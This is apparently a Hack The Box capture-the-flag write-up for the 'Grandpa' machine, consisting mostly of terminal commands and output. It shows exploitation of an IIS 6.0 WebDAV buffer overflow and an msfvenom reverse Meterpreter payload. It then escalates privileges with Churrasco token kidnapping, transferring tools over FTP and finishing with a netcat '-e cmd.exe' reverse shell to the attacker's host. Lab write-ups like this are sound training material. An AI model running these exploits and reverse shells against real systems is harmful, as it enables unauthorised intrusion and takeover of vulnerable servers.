WEBDAVEXPLOIT

EXPLODINGCAN

ALPHA_MIXED ENCODING

REVERSE METERPRETER

NO METASPLOIT

IIS 6.0 EXPLOIT

CHURRASCO.EXE

FTPSERVER FILE TRANSFER

```
File  Actions  Edit  View  Help

root@akg:/home/akg/Desktop/hackthebox/grandpa# cat scan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-13 14:15 EDT
Nmap scan report for grandpa.htb (10.10.10.14)
Host is up (0.13s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods:
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|   WebDAV type: Unknown
|   Server Type: Microsoft-IIS/6.0
|_  Server Date: Fri, 13 Mar 2020 18:16:40 GMT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.34 seconds
root@akg:/home/akg/Desktop/hackthebox/grandpa#
```

```
root@akg:/home/akg/Desktop/hackthebox/grandpa# wget -q --server-response http://10.10.10.14
  HTTP/1.1 200 OK
  Content-Length: 1433
  Content-Type: text/html
  Content-Location: http://10.10.10.14/iisstart.htm
  Last-Modified: Fri, 21 Feb 2003 15:48:30 GMT
  Accept-Ranges: bytes
  ETag: "05b3daec0d9c21:2c3"
  Server: Microsoft-IIS/6.0
  MicrosoftOfficeWebServer: 5.0_Pub
  X-Powered-By: ASP.NET
  Date: Fri, 13 Mar 2020 18:21:00 GMT
```

Microsoft IIS 6.0 — WebDAV ‘ScStoragePathFromUrl’ Remote Buffer Overflow | exploits/windows/remote/41738.py

https://github.com/danigargu/explodingcan

python explodingcan.py http://10.10.10.14 payload

multihandler

msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/alpha_mixed LHOST=10.10.14.32 LPORT=4444 -o payload

Without Metasploit

root@kali:/home/kali/Desktop/hackthebox/grandpa# searchsploit iis 6.0

root@kali:/home/kali/Desktop/hackthebox/grandpa# cp /usr/share/exploitdb/exploits/windows/remote/41738.py .

https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269/blob/master/iis6%20reverse%20shell

root@akg:/home/akg/Desktop/hackthebox/grandpa# python exploit.py 10.10.10.14 80 10.10.14.33 1234

root@akg:/home/akg# nc -nlvp 1234

SHELL GAINED!!!!!

root@akg:/home/akg/Desktop/hackthebox/grandpa# python windows-exploit-suggester.py –update

root@akg:/home/akg/Desktop/hackthebox/grandpa# python windows-exploit-suggester.py --database 2020-04-04-mssb.xls --systeminfo systeminfo.txt

[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) – Important

https://github.com/SecWiki/windows-kernel-exploits

root@akg:/home/akg/Desktop/hackthebox/grandpa# python -m pyftpdlib -p 21

https://medium.com/@nmappn/windows-privelege-escalation-via-token-kidnapping-6195edd2660e

c:\windows\system32\inetsrv>whoami /priv

whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State

============================= === ========

SeAuditPrivilege Generate security audits Disabled

SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled

SeAssignPrimaryTokenPrivilege Replace a process level token Disabled

SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeImpersonatePrivilege Impersonate a client after authentication Enabled

SeCreateGlobalPrivilege Create global objects Enabled

wget https://github.com/Re4son/Churrasco/blob/master/churrasco.exe?raw=true

root@kali:/home/kali/Desktop/hackthebox/grandpa# mv 'churrasco.exe?raw=true' churrasco.exe

root@kali:/home/kali/Desktop/hackthebox/grandpa# cp /usr/share/windows-resources/binaries/nc.exe .

root@kali:/home/kali/Desktop/hackthebox/grandpa# python -m pyftpdlib -p 21

C:\>cd wmpub

echo open 10.10.14.16 21> ftp.txt&echo USER anonymous
>> ftp.txt&echo anonymous>> ftp.txt&echo bin>> ftp.txt&echo GET churrasco.exe
>> ftp.txt&echo bye>> ftp.txt

ftp -v -n -s:ftp.txt

echo open 10.10.14.16 21> ftp.txt&echo USER anonymous
>> ftp.txt&echo anonymous>> ftp.txt&echo bin>> ftp.txt&echo GET nc.exe >> ftp.txt&echo bye>> ftp.txt

ftp -v -n -s:ftp.txt

C:\wmpub>dir

dir

Volume in drive C has no label.

Volume Serial Number is 246C-D7FE

Directory of C:\wmpub

06/18/2020 05:49 PM <DIR> .

06/18/2020 05:49 PM <DIR> ..

06/18/2020 05:47 PM 31,232 churrasco.exe

06/18/2020 05:48 PM 72 ftp.txt

06/18/2020 05:49 PM 59,392 nc.exe

04/12/2017 05:05 PM <DIR> wmiislog

3 File(s) 90,696 bytes

3 Dir(s) 18,093,408,256 bytes free

root@kali:/home/kali# nc -nlvp 7777

churrasco.exe -d "C:\wmpub\nc.exe 10.10.14.16 7777 -e cmd.exe"

ROOTED!!!!!!